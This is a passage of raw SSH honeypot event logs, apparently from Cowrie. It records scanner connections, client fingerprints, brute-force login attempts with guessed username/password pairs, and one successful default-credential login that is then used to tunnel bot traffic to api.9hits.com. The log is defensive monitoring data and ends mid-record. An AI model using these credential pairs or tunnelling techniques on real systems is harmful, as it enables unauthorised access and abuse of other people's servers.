{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:15.924365Z","src_ip":"91.92.40.36","session":"7e41fff56118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"password","message":"login attempt [nagios/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:16.901044Z","src_ip":"91.92.40.36","session":"7e41fff56118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:18.381433Z","src_ip":"91.92.40.36","session":"7e41fff56118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38656,"dst_ip":"159.203.135.109","dst_port":22,"session":"d534d20034e0","protocol":"ssh","message":"New connection: 91.92.40.36:38656 (159.203.135.109:22) [session: d534d20034e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:21.528881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:22.274121Z","src_ip":"91.92.40.36","session":"d534d20034e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:22.277925Z","src_ip":"91.92.40.36","session":"d534d20034e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45326,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca14f0d08d8b","protocol":"ssh","message":"New connection: 27.71.230.31:45326 (159.203.135.109:22) [session: ca14f0d08d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:24.414101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:24.460369Z","src_ip":"27.71.230.31","session":"ca14f0d08d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dingy","password":"q1w2e3","message":"login attempt [dingy/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:26.306071Z","src_ip":"91.92.40.36","session":"d534d20034e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:27.444921Z","src_ip":"27.71.230.31","session":"ca14f0d08d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:27.932588Z","src_ip":"91.92.40.36","session":"d534d20034e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32148,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fc9503f04dd","protocol":"ssh","message":"New connection: 91.92.40.36:32148 (159.203.135.109:22) [session: 5fc9503f04dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:29.138124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:29.978787Z","src_ip":"91.92.40.36","session":"5fc9503f04dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:29.982600Z","src_ip":"91.92.40.36","session":"5fc9503f04dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrators","message":"login attempt [root/administrators] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:30.415732Z","src_ip":"27.71.230.31","session":"ca14f0d08d8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":51339,"dst_ip":"10.17.0.5","dst_port":22,"session":"6353608e6a23","protocol":"ssh","message":"New connection: 113.164.152.20:51339 (10.17.0.5:22) [session: 6353608e6a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:31.046127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:31.050663Z","src_ip":"113.164.152.20","session":"6353608e6a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:31.351879Z","src_ip":"113.164.152.20","session":"6353608e6a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:32.954484Z","src_ip":"27.71.230.31","session":"ca14f0d08d8b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:34.173771Z","src_ip":"113.164.152.20","session":"6353608e6a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dashboard","password":"123456","message":"login attempt [dashboard/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:34.821343Z","src_ip":"91.92.40.36","session":"5fc9503f04dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:35.032535Z","session":"6353608e6a23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:35.098326Z","session":"6353608e6a23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:35.669270Z","src_ip":"113.164.152.20","session":"6353608e6a23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36 Edg/80.0.361.57\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MmRVTCY3ZUIjMG0pX0BseA%3D%3DQMBibDMG4ei1JjJVjGc4ftGn0HybJBBq33U52PnlYyFVygFjnhwaJePaqTge4gM8ytYiGjfzKFvM8tZGhPz%2BibvUk4xIzlpIJP0h3Uid7B%2BVu0AzwMn2HnqMK2tofOm4vWhxzMILN3M1Y%2F7qhM614cSjwSBuQSzTWOZJ1mS%2B7Ph1EFbgJ2VOzwBWFCFP8Iek1ltTWwxjyrHG7gvrk25tgda%2B9uJD64egDrXUIAKSQg6WFhUxkYGAktxizkm7zSHuazcTLuIEmFpmZIRqYNhIoxICvE8CLr5mdH0Eb9I9LLXD%2FGgnBJL6%2BHDkrS1yLnbB6Ea5VReo1oYAxmn1Gw7UgOiqWuMkTkj2jeCPDhhFHIDX7octlhakPD4Xa12iU0Sa4U0KOYyXUJs2pTknM5pxCLHENj3PjspjztqXGo7ADYXcRWJqOBeA9436C4dB6p0YKHxdnV6f217Xipu80YVg4vzYEPKEaXipnkwe0h%2BKSQazvsuF%2BYKx3DRS9xmw9aABcCPaD5fj7EByLx3gsJHV3bUbmWtPhuWrwrWYBnugDjg10t6m3mK%2BMJ8JWWryhJDaIjZL4DhBAjt9nUVySw4CdWoPFvHe6PQtSzeThtZrWMjxC6pU%2F8KTnsBZNhcquUx57SUJM7AFwziQRPzsKgh%2BvC8V93%2BbUsV24r1wzs0ZrIMDWOos7XP24wG4ILECX%2F3q4QAz2Qde7i4sj2eCe%2Bd%2Fw22eBOuY%2BL%2FYEv00g6iJ%2Fmvmf%2BhQjET3G6Hvm3K83GzlcDtbQRg7A2w3N51L0Ef1z%2BkhojhLDKUBF9P6GpfVx2u6ikpKUIPsethFYCkjBQXYhKJigdPRlu5H9fimq3VqP6MKM7jkgEOCJFqr%2F06PWDG6Fn6p2kLuVh25x5RLCwYvXH%2BSMXCq3HypgqfviNGI%2BNWCdIYUL6uFfzP0Yjdz0JYeQdf8RaJCHYnfkNuTxoessNftf9R%2FCD79DYLSIoIMCbkrm3h9K%2F28PpDlTt6CEirsMct%2B1tKPOG1fPtA8S7jEwv5%2B%2BKm4EX%2FVkejGRnl9eSJJw4m7Z8DxrSKKCo3bNW8%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36 Edg/80.0.361.57\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MmRVTCY3ZUIjMG0pX0BseA%3D%3DQMBibDMG4ei1JjJVjGc4ftGn0HybJBBq33U52PnlYyFVygFjnhwaJePaqTge4gM8ytYiGjfzKFvM8tZGhPz%2BibvUk4xIzlpIJP0h3Uid7B%2BVu0AzwMn2HnqMK2tofOm4vWhxzMILN3M1Y%2F7qhM614cSjwSBuQSzTWOZJ1mS%2B7Ph1EFbgJ2VOzwBWFCFP8Iek1ltTWwxjyrHG7gvrk25tgda%2B9uJD64egDrXUIAKSQg6WFhUxkYGAktxizkm7zSHuazcTLuIEmFpmZIRqYNhIoxICvE8CLr5mdH0Eb9I9LLXD%2FGgnBJL6%2BHDkrS1yLnbB6Ea5VReo1oYAxmn1Gw7UgOiqWuMkTkj2jeCPDhhFHIDX7octlhakPD4Xa12iU0Sa4U0KOYyXUJs2pTknM5pxCLHENj3PjspjztqXGo7ADYXcRWJqOBeA9436C4dB6p0YKHxdnV6f217Xipu80YVg4vzYEPKEaXipnkwe0h%2BKSQazvsuF%2BYKx3DRS9xmw9aABcCPaD5fj7EByLx3gsJHV3bUbmWtPhuWrwrWYBnugDjg10t6m3mK%2BMJ8JWWryhJDaIjZL4DhBAjt9nUVySw4CdWoPFvHe6PQtSzeThtZrWMjxC6pU%2F8KTnsBZNhcquUx57SUJM7AFwziQRPzsKgh%2BvC8V93%2BbUsV24r1wzs0ZrIMDWOos7XP24wG4ILECX%2F3q4QAz2Qde7i4sj2eCe%2Bd%2Fw22eBOuY%2BL%2FYEv00g6iJ%2Fmvmf%2BhQjET3G6Hvm3K83GzlcDtbQRg7A2w3N51L0Ef1z%2BkhojhLDKUBF9P6GpfVx2u6ikpKUIPsethFYCkjBQXYhKJigdPRlu5H9fimq3VqP6MKM7jkgEOCJFqr%2F06PWDG6Fn6p2kLuVh25x5RLCwYvXH%2BSMXCq3HypgqfviNGI%2BNWCdIYUL6uFfzP0Yjdz0JYeQdf8RaJCHYnfkNuTxoessNftf9R%2FCD79DYLSIoIMCbkrm3h9K%2F28PpDlTt6CEirsMct%2B1tKPOG1fPtA8S7jEwv5%2B%2BKm4EX%2FVkejGRnl9eSJJw4m7Z8DxrSKKCo3bNW8%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:35.672617Z","src_ip":"113.164.152.20","session":"6353608e6a23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:35.676220Z","src_ip":"113.164.152.20","session":"6353608e6a23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03N\\x17\\x84\\x9dM\\xe7\\x90\\x9a9\\xcf\\xed\\xa4N\\xd8\\x08\\xb8#\\x00\\xf8\\x8f\\xabH\\xa6!`h\\xfd\\xa4\\xa4\\x96\\x14\\x88 u\\x1d\\xc9\\xc6J\\xbaV/\\x85\\x05\\x11\\xaa\\xf4\\xf4\\x14-\\xb6\\xde\\xa5\\x1c@\\x02\\xd2\\xe7\\x8e\\x97\\xc9\\xe7\\x16\\xb7\\x01@\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 t\\xc0\\xd7\\x1f=@\\xf0=me\\x0e\\x10\\x12,\\x92\\x01D\\xe2\\xff\\xf2\\xf0B\\x9ds\\x87\\xe4\\x1c\\xb8D\\n\\xb0V\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03N\\x17\\x84\\x9dM\\xe7\\x90\\x9a9\\xcf\\xed\\xa4N\\xd8\\x08\\xb8#\\x00\\xf8\\x8f\\xabH\\xa6!`h\\xfd\\xa4\\xa4\\x96\\x14\\x88 u\\x1d\\xc9\\xc6J\\xbaV/\\x85\\x05\\x11\\xaa\\xf4\\xf4\\x14-\\xb6\\xde\\xa5\\x1c@\\x02\\xd2\\xe7\\x8e\\x97\\xc9\\xe7\\x16\\xb7\\x01@\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 